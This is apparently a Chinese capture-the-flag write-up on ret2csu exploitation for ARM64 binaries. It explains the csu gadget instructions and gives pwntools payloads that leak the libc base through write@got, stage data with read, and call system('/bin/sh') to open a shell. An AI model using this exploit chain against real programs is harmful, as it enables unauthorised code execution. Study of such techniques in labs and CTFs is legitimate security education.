arm架构下的csu利用与x86架构下的有很多相似的点
LDP X19, X20, [SP,#var_s10] LDP X21, X22, [SP,#var_s20] LDP X23, X24, [SP,#var_s30] LDP X29, X30, [SP+var_s0],#0x40 RET
ldp指令
: load address pair 读取一对地址
LDP X19, X20, [SP,#var_s10]
会将SP+var_s10
地址的内容给到X19和X20寄存器
其中X19
传入SP+var_s10
的内容,X20
传入SP+var_s10
+0x8的内容
LDP X29, X30, [SP+var_s0],#0x40
会再SP+var_s0
地址的内容传给X29和X30寄存器后,再将sp指针增加0x40字节
ret
返回到x30寄存器所存储的值
x30过程链接寄存器PLR (Produce Link Register) ,x30寄存器存放的是函数的返回地址
当ret指令执行时刻,会寻找x30寄存器保存的地址值
LDR X3, [X21,X19,LSL#3] MOV X2, X24 ADD X19, X19, #1 MOV X1, X23 MOV W0, W22 BLR X3 CMP X20, X19 B.NE loc_4007F0
前四个参数存储在寄存器x0-x3中
LDR X3, [X21,X19,LSL#3]
将X19逻辑左移3位后,再加上X21寄存器的值,然后赋给X3
BLR X3
会跳转到X3储存的地址,并将下一指令的地址存到X30寄存器中
开始布置write(1,[email protected],0x8)
,来获取libc基址
pl = b'a'*0x88 + p64(g1) #x29 x30 pl+= p64(main) + p64(0x100000000) #其实这里写什么都无所谓,主要是起个抬栈作用 pl+= p64(0) + p64(g2) #x29 x30 pl+= p64(0) + p64(1) #x19 --0 x20 --1 pl+= p64(elf.got['write']) + p64(1) ##x21 --addr x22 --x0 pl+= p64(elf.got['write']) + p64(0x8) #x23 --x1 x24 --x2 pl+= p64(0) +p64(main) #x29 x30
因为read读入的空间,我们的sp抬了0x90
ret: 0x400798
这里执行后sp+0x20
ret: g1
跳转到g1后我们可以发现sp的值,我们的布置可以使g2可以放入x30
执行完g1
执行完g2
布置好了write(1,[email protected],0x8)
跳转到x3 -> write,开始leak
write_addr = uu64(r(6)) li('write_addr'+hex(write_addr)) libcbase = write_addr - libc.sym['write'] li('libcbase'+hex(libcbase)) system = libcbase + libc.sym['system'] li('system'+hex(system))
获取了libc基址后,我们就可以布置read(0,bss+0x100,0x20)
来送入shellcode
pl = b'a'*0x88 + p64(g1) #x29 x30 pl+= p64(main) + p64(0x100000000) pl+= p64(0) + p64(g2) #g1: x29 x30 pl+= p64(0) + p64(1) #g1: x19 --0 x20 --1 pl+= p64(elf.got['read']) + p64(0) #g1: x21 --addr x22 --x0 pl+= p64(bss1) + p64(0x20) #g1: x23 --x1 x24 --x2 pl+= p64(0) + p64(main) #x29 x30
pl送入
g1执行完
g2执行完
布置好了read(1,bss+0x100,0x20)
后,将shellcode送入
pause() p.sendline(p64(system)+b'/bin/sh\x00')
下面跳到main
布置system('/bin/sh',0,0)
pl = b'a'*0x88 + p64(g1) pl+= p64(main) + p64(0x100000000) pl+= p64(0) + p64(g2) #x29 x30 pl+= p64(0) + p64(1) #x19 --0 x20 --1 pl+= p64(bss1) + p64(bss1+8) #x21 --addr x22 --x0 pl+= p64(0) + p64(0) #x23 --x1 x24 --x2 pl+= p64(0) + p64(main) #x29 x30 p.sendlineafter('Hello, World\n',pl)
执行g1
执行g2
执行system('/bin/sh',0,0)